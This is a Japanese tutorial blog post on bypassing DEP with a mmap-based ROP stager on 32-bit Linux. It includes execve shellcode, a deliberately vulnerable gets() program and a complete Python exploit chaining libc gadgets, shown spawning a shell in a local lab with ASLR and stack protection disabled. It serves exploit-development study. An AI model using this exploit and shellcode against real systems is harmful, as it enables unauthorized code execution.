ROP stagerによるシェルコード実行をやってみる

DEPが有効な状況では、スタックバッファオーバーフローなどから命令を実行させるためにROPと呼ばれる手法が使われる。 さらに、ROPを使って任意の処理を実行させる方法として、実行可能なメモリ領域(stage)を動的に確保し、そこに通常のシェルコードをコピーし実行させるという方法が知られている。 この際使われるROPシーケンスはROP stagerと呼ばれる。 ここでは、DEPが有効な状況下で、mmapを使ったROP stagerによるシェルコード実行をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

mmapによるメモリ確保をやってみる

動的に実行可能なメモリ領域を用意する方法として、次の二つのアプローチが考えられる。

  • すでに存在するメモリ領域のアクセス保護属性を変更する(mprotect、VirtualProtectなどを利用)
  • 新たに実行可能なメモリ領域を確保する(mmap、VirtualAllocなどを利用)

ここでは、後者のアプローチについて考えることとする。 mmapはファイルを一定の範囲のメモリ領域に割り当てる関数であるが、flagにMAP_ANONYMOUSを指定することでゼロクリアされたメモリ領域の確保に使うこともできる。

$ man mmap
NAME
       mmap, munmap - map or unmap files or devices into memory

SYNOPSIS
       #include <sys/mman.h>

       void *mmap(void *addr, size_t length, int prot, int flags,
                  int fd, off_t offset);
       int munmap(void *addr, size_t length);

DESCRIPTION
       mmap()  creates  a  new  mapping  in the virtual address space of the calling process.  The starting address for the new mapping is specified in addr.  The length argument specifies the
       length of the mapping.

       (snip)

       In addition, zero or more of the following values can be ORed in flags:

       MAP_ANONYMOUS
              The mapping is not backed by any file; its contents are initialized to zero.  The fd and offset arguments are ignored; however, some implementations require fd to be -1 if MAP_ANONYMOUS  (or
              MAP_ANON) is specified, and portable applications should ensure this.  The use of MAP_ANONYMOUS in conjunction with MAP_SHARED is only supported on Linux since kernel 2.4.

mmapを使って0x20000000から0x1000バイトのメモリ領域を読み書き実行可で確保し、そこにシェルコードをコピーして実行させるC言語のコードを書くと次のようになる。

/* mmap.c */
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char shellcode[] = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    int addr = 0x20000000;
    void *returned_addr;

    returned_addr = mmap((void *)addr, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    printf("[+] addr = %p, returned_addr = %p\n", (void *)addr, returned_addr);
    printf("[+] prot = 0x%x, flag = 0x%x\n", PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS);
    memcpy((char *)addr, shellcode, strlen(shellcode));
    (*(void (*)())addr)();
    return 0;
}

コンパイルして実行すると、シェルコードによりシェルが起動する。

$ gcc mmap.c

$ ./a.out
[+] addr = 0x20000000, result_addr = 0x20000000
[+] prot = 0x7, flag = 0x22
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

上の結果からは、PROT_READ|PROT_WRITE|PROT_EXECが0x7、MAP_PRIVATE|MAP_ANONYMOUSが0x22であることも確認できる。

gdbで動作を確認してみる

gdbを使い、プログラム実行中のメモリの状態を確認してみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x8048498
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048498 in main ()
(gdb) i proc
process 923
cmdline = '/home/user/tmp/a.out'
cwd = '/home/user/tmp'
exe = '/home/user/tmp/a.out'
(gdb) shell cat /proc/923/maps
08048000-08049000 r-xp 00000000 08:01 1966180    /home/user/tmp/a.out
08049000-0804a000 r--p 00000000 08:01 1966180    /home/user/tmp/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966180    /home/user/tmp/a.out
b7e2a000-b7e2b000 rw-p 00000000 00:00 0
b7e2b000-b7fcf000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
...
(gdb) disas
Dump of assembler code for function main:
   0x08048494 <+0>:     push   ebp
   0x08048495 <+1>:     mov    ebp,esp
   0x08048497 <+3>:     push   edi
=> 0x08048498 <+4>:     and    esp,0xfffffff0
   0x0804849b <+7>:     sub    esp,0x60
   ...
   0x0804851d <+137>:   call   0x80483c0 <mmap@plt>
   0x08048522 <+142>:   mov    DWORD PTR [esp+0x3c],eax
   ...
   0x08048595 <+257>:   call   0x8048390 <memcpy@plt>
   0x0804859a <+262>:   mov    eax,DWORD PTR [esp+0x38]
   0x0804859e <+266>:   call   eax
   ...
(gdb) u *main+142
0x08048522 in main ()
(gdb) shell cat /proc/923/maps
08048000-08049000 r-xp 00000000 08:01 1966180    /home/user/tmp/a.out
08049000-0804a000 r--p 00000000 08:01 1966180    /home/user/tmp/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966180    /home/user/tmp/a.out
20000000-20001000 rwxp 00000000 00:00 0
b7e2a000-b7e2b000 rw-p 00000000 00:00 0
b7e2b000-b7fcf000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
...

上の結果から、mmap実行後、0x20000000-0x20001000に読み書き実行可能なメモリ領域が確保されていることがわかる。 さらに、シェルコードにジャンプした後の様子を調べてみる。

(gdb) u *main+266
[+] addr = 0x20000000, result_addr = 0x20000000
[+] prot = 0x7, flag = 0x22
0x0804859e in main ()
(gdb) si
0x20000000 in ?? ()
(gdb) x/10i $pc
=> 0x20000000:  xor    edx,edx
   0x20000002:  push   edx
   0x20000003:  push   0x68732f2f
   0x20000008:  push   0x6e69622f
   0x2000000d:  mov    ebx,esp
   0x2000000f:  push   edx
   0x20000010:  push   ebx
   0x20000011:  mov    ecx,esp
   0x20000013:  lea    eax,[edx+0xb]
   0x20000016:  int    0x80
(gdb) c
Continuing.
process 923 is executing new program: /bin/dash
$
[Inferior 1 (process 923) exited normally]
(gdb) quit

0x20000000にコピーされたシェルコードに処理が移り、シェルが起動していることがわかる。

脆弱性のあるプログラムを用意する

mmapの動作を確認できたところで、スタックバッファオーバーフローを起こせるプログラムを書いてみる。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    gets(buf);
    puts(buf);
    return 0;
}

DEP有効、ASLR、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -fno-stack-protector bof.c

$ ./a.out
AAAA
AAAA

エクスプロイトコードを書いてみる

まず、rp++を使ってlibcに含まれるROP gadgetsを出力する。

$ ./rp-lin-x86 --file=/lib/i386-linux-gnu/libc-2.15.so --rop=3 --unique > gadgets.txt

出力されたROP gadgetsをもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

base_libc = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

# dup2(2, 0); dup2(2, 1); execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = '\x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x41\x8d\x41\x3e\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
addr_stage = 0x20000000

addr_libc_mmap = base_libc + 0x000ebeb0          # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " mmap"
addr_libc_memcpy = base_libc + 0x0007f790        # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " memcpy"
addr_libc_popad = base_libc + 0x0017f49b         # 0x0017f49b: popad  ; ret  ;  (3 found)
addr_libc_xchg_eax_edi = base_libc + 0x0008f9bc  # 0x0008f9bc: xchg eax, edi ; ret  ;  (1 found)
addr_libc_pop_esi = base_libc + 0x00019056       # 0x00019056: pop esi ; ret  ;  (296 found)
addr_libc_pop_ebp = base_libc + 0x0001700f       # 0x0001700f: pop ebp ; ret  ;  (1026 found)
addr_libc_pop_ebx = base_libc + 0x0001930e       # 0x0001930e: pop ebx ; ret  ;  (1149 found)
addr_libc_pushad = base_libc + 0x0000446c        # 0x0000446c: pushad  ; ret  ;  (3 found)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_libc_mmap)
buf += struct.pack('<I', addr_libc_popad)
buf += struct.pack('<I', addr_stage)
buf += struct.pack('<I', 0x1000)
buf += struct.pack('<I', 0x7)
buf += struct.pack('<I', 0x22)
buf += struct.pack('<I', 0xffffffff)
buf += struct.pack('<I', 0)
buf += 'AAAA' * 2

# prepared registers for pushad:
# edi = memcpy
# esi = addr_stage
# ebp = addr_stage
# esp = (keep as it is)
# ebx = len(shellcode)
# edx
# ecx
# eax
buf += struct.pack('<I', addr_libc_memcpy)
buf += struct.pack('<I', addr_libc_xchg_eax_edi)
buf += struct.pack('<I', addr_libc_pop_esi)
buf += struct.pack('<I', addr_stage)
buf += struct.pack('<I', addr_libc_pop_ebp)
buf += struct.pack('<I', addr_stage)
buf += struct.pack('<I', addr_libc_pop_ebx)
buf += struct.pack('<I', len(shellcode))
buf += struct.pack('<I', addr_libc_pushad)
buf += shellcode

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(buf+'\n')
print "[+] read: %r" % p.stdout.readline()
p.wait()

このコードはlibcのベースアドレス、オーバーフローが起こせるバッファのサイズを順に引数に取る。

上のコードで使われているpushad命令は、8個のレジスタの値を一度にスタックに積む命令である。 pushad命令を実行すると、その時点でのレジスタの値がコメントに書かれた順でスタックに配置される。 このときespもスタックに積まれるので、espがshellcodeを指すように調整することでこれを引数とした関数呼び出しが可能になる。 上のコードでは、memcpy関数の第2引数となる位置にespが入り、これがshellcodeを指すようになっている。

popad命令は8個のレジスタの値を一度にスタックから取り出す命令である。 このとき取り出す順序はpushad命令の逆となるが、espのみレジスタにはセットされず無視される。 上のコードでは、mmapを呼び出した後その引数を読み飛ばすために使っている。

また、glibcにおいてmemcpyやstrcpyなどstring.hに含まれる関数を呼ぶ際には注意が必要である。 gdbを使い、memcpyのシンボルが指すアドレスをディスアセンブルすると次のようになる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x8048467
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048467 in main ()
(gdb) disas memcpy
Dump of assembler code for function memcpy:
   0xb7eaa790 <+0>:     push   ebx
   0xb7eaa791 <+1>:     call   0xb7f56d53
   0xb7eaa796 <+6>:     add    ebx,0x12685e
   0xb7eaa79c <+12>:    cmp    DWORD PTR [ebx+0x368c],0x0
   0xb7eaa7a3 <+19>:    jne    0xb7eaa7aa <memcpy+26>
   0xb7eaa7a5 <+21>:    call   0xb7e44850
   0xb7eaa7aa <+26>:    lea    eax,[ebx-0x126804]
   0xb7eaa7b0 <+32>:    test   DWORD PTR [ebx+0x369c],0x200
   0xb7eaa7ba <+42>:    je     0xb7eaa7d4 <memcpy+68>
   0xb7eaa7bc <+44>:    lea    eax,[ebx-0x6fc84]
   0xb7eaa7c2 <+50>:    test   DWORD PTR [ebx+0x36bc],0x1
   0xb7eaa7cc <+60>:    je     0xb7eaa7d4 <memcpy+68>
   0xb7eaa7ce <+62>:    lea    eax,[ebx-0x6bda4]
   0xb7eaa7d4 <+68>:    pop    ebx
   0xb7eaa7d5 <+69>:    ret
End of assembler dump.
(gdb) quit

このアセンブリコードはmemcpy関数の処理そのものではなく、CPUのタイプに応じて通常の関数、SSEを利用する関数、SSE2を利用する関数のポインタを返すコードになっている。 これはGNU indirect functionsと呼ばれるELFの拡張機能によるものであり、string.hに含まれる関数の多くはこれを利用し高速化を行っている。 上のコードが実行された後、選ばれた関数のアドレスはeaxにセットされるので、エクスプロイトコード中ではこの値を改めてediにセットしている。

シェルコードには、execveでシェルを起動する前に標準入出力のファイルディスクリプタを端末にするものを用意する。 エクスプロイトコード中において標準エラー出力のファイルディスクリプタ (2) は端末を指しているので、これを標準入出力 (0, 1) に複製するアセンブリコードを書くと次のようになる。

        /* dup_stderr.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* dup2(2, 0) */
        xor ecx, ecx
        lea ebx, [ecx+2]
        lea eax, [ecx+63]
        int 0x80
        /* dup2(2, 1) */
        lea eax, [ecx+63]
        inc ecx
        int 0x80
        /* execve("/bin//sh", ["/bin//sh", NULL], NULL) */
        xor edx, edx
        push edx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push edx
        push ebx
        mov ecx, esp
        lea eax, [edx+11]
        int 0x80

これをコンパイルしてディスアセンブルすることでシェルコードが得られる。

$ gcc -nostdlib shellcode.s

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xc9\x8d\x59\x02\x8d\x41\x3f\xcd\x80\x8d\x41\x3f\x41\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

必要に応じてbof.cをコンパイルし直した後、引数をセットしエクスプロイトコードを実行すると次のようになる。 ここでlibcのベースアドレスはgdbなどを利用して調べる。

$ gcc -fno-stack-protector bof.c

$ python exploit.py 0xb7e2b000 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0n\xf1\xb7\x9b\xa4\xfa\xb7\n'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

DEPが有効な状況下で、ROP stagerにより任意のシェルコードが実行できることが確認できた。

関連リンク